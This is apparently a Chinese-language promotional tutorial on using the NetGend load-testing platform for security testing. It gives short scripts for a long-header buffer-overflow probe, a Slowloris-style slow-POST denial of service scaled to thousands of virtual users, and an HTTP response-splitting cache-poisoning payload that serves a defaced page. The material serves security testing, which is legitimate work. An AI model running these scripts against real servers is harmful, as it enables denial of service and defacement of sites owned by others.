|
过去几年来网络安全已经获得了很多的关注, 并且成为可以让一个网站所有者保持夜不能寐的重要原因之一。在这篇文章中我们将要谈论如何使用性能测试平台NetGend来帮助进行安全测试。
本质上来说,任何强大的性能测试平台都可以变成一个DDoS的测试平台. NetGend平台在一个MiniPC上以模拟出5万个并发虚拟用户端,同时是一个优秀的DDoS测试平台。 和著名的DDoS攻击工具LOIC(Low Orbit Ion Cannon)相比, NetGend可以支持更多的并发会话能力,更为真实的客户端模拟。在NetGend平台上, 我们通过使用类Javascript脚本来实现仿真复杂的客户端行为。不像LOIC仅仅可以发送简单的信息,NetGend可以发送出很多动态的信息, 即在信息中设置很多动态变量。更为高级的能力是,它可以像真实的PC客户端那样,与被攻击服务器进行复杂的应用交互。它可以通过DDOS测试,真正触发并发现Web服务器上的安全漏洞和缺陷。
首先,让我们试一个可以通过长HTTP头,造成缓冲区溢位的例子。在下面的脚本中,我们使用内置函数“Repeat”来创建一个有20000字节长度的 “Referer ”头:
function VUSER() {
httpHeader.Referer = repeat("A", 20000);
action(http, "http://www.example.com");
}
同样,你可以添加如下“XYZ” 的更长的HTTP头:
httpHeader.XYZ = repeat("A", 30000);
创建一个超长头的HTTP请求是很容易的。让我们来看看Slowris攻击,这已成为目前针对服务器的一个流行的攻击。在这里,攻击者通过很慢地发送HTTP请求,形成针对Web服务器的拒绝服务攻击,来耗尽服务器上的所有资源(连接)。这个攻击的原始脚本是很长的的。在这里我们可以通过短短几行脚本来做一个简单的版本:
function VUSER() {
connect("www.example.com", 80);
http.POSTData = "name=jin&pass=123";
a=createHttpRequest("http://www.example.com/");
for (i = 0; i < length(a); i ++ ) {
send(substr(a, i, 1));
sleep(5000);
}
}
在上面的脚本中,我们首先建立一个与Web服务器的连接, 然后创建一个有效的HTTP POST请求,同时发送一个字符,然后每间隔5秒发送下一个字符,直到发送完所有字符。 通过生成多个Vuser (最高可达50000个 ) ,我们会消耗掉所有的服务器上的连接资源。
上面的两个例子在概念上很简单。 让我们再看看另外一个有许多创造性的例子,如何刻意地去编制一些特别的HTTP请求来达到恶意的目的。向发现这个漏洞的研究者表示感谢。这个攻击被称为“HTTP cache poisoning”,详细请参见 https://www.owasp.org/index.php/Cache_Poisoning。
这是一个针对HTTP缓存服务器的攻击。 下面这个图来自于Bertrant Baquet的Blog, 显示了一个HTTP缓存服务器的工作原理。一般的流程是,当一个HTTP的缓存服务器收到了一个请求,它会搜索已经缓存在本地的原来的交互信息,如果发现了匹配信息,它会直接在本地回应请求,否则,它会把这个请求发送给Web服务器,然后将从Web服务器那里得到的回应送回给客户端。
这个攻击的原理是从客户机发送一个请求,使得Web服务器的响应从缓存服务器的角度来开好像是2个回应,这个攻击就会起作用。例如,当Web服务器有一个动态的页面,会根据收到的URL进行重定向。 举个例子,当服务器收到的请求是这个URL:http://www.example.com/redirect? ... //www.test.com , 它会发送一个http302响应,并设置“Location”是“http://www.test.com”。通过巧妙地制作一个黄色突出显示部分的信息,攻击者(客户端)就可以控制服务器发送信息内容。
在下面的脚本中,特别设定的消息称为“Poison”,我们使用函数“toURL()”可以隐藏它,并且可以作为URL的一部分。
function VUSER() {
connect("www.example.com", 80);
httpHeader.Pragma = "no-cache";
msg = createHttpRequest("http://www.example.com/index.html");
send(msg); //turn off cache
poison = "
Content-Length: 0
HTTP/1.1 200 OK
Last-Modified: Mon, 27 Oct 2015 14:50:18 GMT
Content-Length: 21
Content-Type: text/html
<html>defaced!</html>";
poison = toUrl(poison);
msg =createHttpRequest("http://www.example.com/redir.php?page=${poison}");
send(msg); //add the poison
msg = createHttpRequest("http://www.example.com/index.html");
send(msg);
}
最终,缓存服务器会把<html>defaced!</html> 页面作为默认的缓存主页面对请求进行回应。
从一个Web服务器自己的角度来看,安全和性能都同样重要,有一个平台可以同时测试这两项难道不是很棒吗? |
|